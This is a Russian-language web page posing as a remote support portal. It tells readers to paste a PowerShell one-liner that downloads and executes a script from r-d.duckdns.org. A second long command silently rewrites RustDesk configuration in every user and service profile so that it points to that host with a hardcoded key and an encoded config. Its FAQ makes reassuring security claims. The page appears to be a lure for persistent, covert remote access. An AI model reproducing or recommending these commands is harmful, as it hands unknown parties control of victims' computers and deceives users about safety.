Служба удалённой поддержки — Портал подключения

Разовое подключение • Без прав админа

Быстрая помощь

Используйте этот вариант, если специалисту нужно срочно подключиться к вашему экрану. Не оставляет следов в системе.

1 Скачайте и запустите QuickSupport двойным кликом

2 Сообщите специалисту ваш 9-значный ID

3 По окончании сеанса просто закройте программу

Скачать QuickSupport (24 МБ)

Компактный веб-лаунчер (9.5 КБ)

Постоянный доступ • Автозапуск службы

Корпоративный агент

Установка системной фоновой службы для регулярного удалённого доступа к компьютеру даже при закрытом рабочем столе.

1 Скачайте установщик или выполните команду консоли

2 Подтвердите запрос контроля учётных записей (UAC)

3 Служба и корпоративный шлюз настроятся в тихом режиме

Скачать веб-установщик (.exe)

Запуск в одну строку (Win+R / PowerShell):

powershell "irm https://r-d.duckdns.org/sos | iex"

Диагностика и переподключение шлюза (для специалистов) Сброс «Не подключено»

Если на компьютере уже был установлен RustDesk со старыми серверами или статус отображается как «Не подключено», выполните команду ниже в консоли PowerShell от имени Администратора (или через Win+R). Команда в один клик зачистит устаревший кэш во всех профилях службы и пользователя, привяжет шлюз r-d.duckdns.org и перезапустит службу:

Быстрое онлайн-исправление (через защищённый шлюз r-d.duckdns.org):

powershell "irm https://r-d.duckdns.org/sos | iex"

Автономное исправление без скачивания (прямая перезапись TOML-профилей):

powershell -NoProfile -Command "Stop-Service RustDesk -Force; taskkill /im rustdesk.exe /f; $c = 'rendezvous_server = ''r-d.duckdns.org:21116''`r`n`r`n[options]`r`ncustom-rendezvous-server = ''r-d.duckdns.org''`r`nrelay-server = ''r-d.duckdns.org''`r`napi-server = ''https://r-d.duckdns.org''`r`nkey = ''fsbwPJO8Puzp5FlMDOnRMQ5PtI4C373B+97J1UuxTwk=''`r`ndisable-udp = ''N''`r`n'; @('C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\RustDesk\config', 'C:\Windows\System32\config\systemprofile\AppData\Roaming\RustDesk\config', \"$env:APPDATA\RustDesk\config\") | ForEach-Object { if (!(Test-Path $_)) { New-Item -ItemType Directory -Force -Path $_ | Out-Null }; Set-Content -Path (Join-Path $_ 'RustDesk2.toml') -Value $c -Encoding UTF8 }; Start-Service RustDesk; Start-Sleep 2; & 'C:\Program Files\RustDesk\rustdesk.exe' --config '=0nI9s2dUhXdVFjS3kzKCNzNzMENJRHU1EVTS52TE1EbGVDc6VHU48kSQdnYzZmI6ISeltmIsIyZy9mLz5GZrNWdk5CZtI3LvozcwRHdoJiOikGchJCLicmcv5ycuR2ajVHZuQWLyJiOikXYsVmciwiInJ3buMnbkt2Y1RmLk1iciojI0N3boJye'"

Часто задаваемые вопросы

Безопасно ли это подключение?

Да, соединение полностью изолировано и передаётся строго через выделенный защищённый шлюз с использованием сквозного шифрования (End-to-End Encryption) и протокола TLS 1.3. Никакие сторонние сервисы не имеют доступа к вашему экрану.

Нужны ли права администратора для быстрой помощи?

Для варианта «Быстрая помощь» (QuickSupport) права администратора не требуются. Программа работает в портативном режиме и запускается из временной папки текущего пользователя.

Как прервать сеанс связи?

Вы можете в любой момент закрыть окно программы или нажать кнопку «Отключить» — сеанс мгновенно прервётся, и специалист потеряет доступ к вашему компьютеру.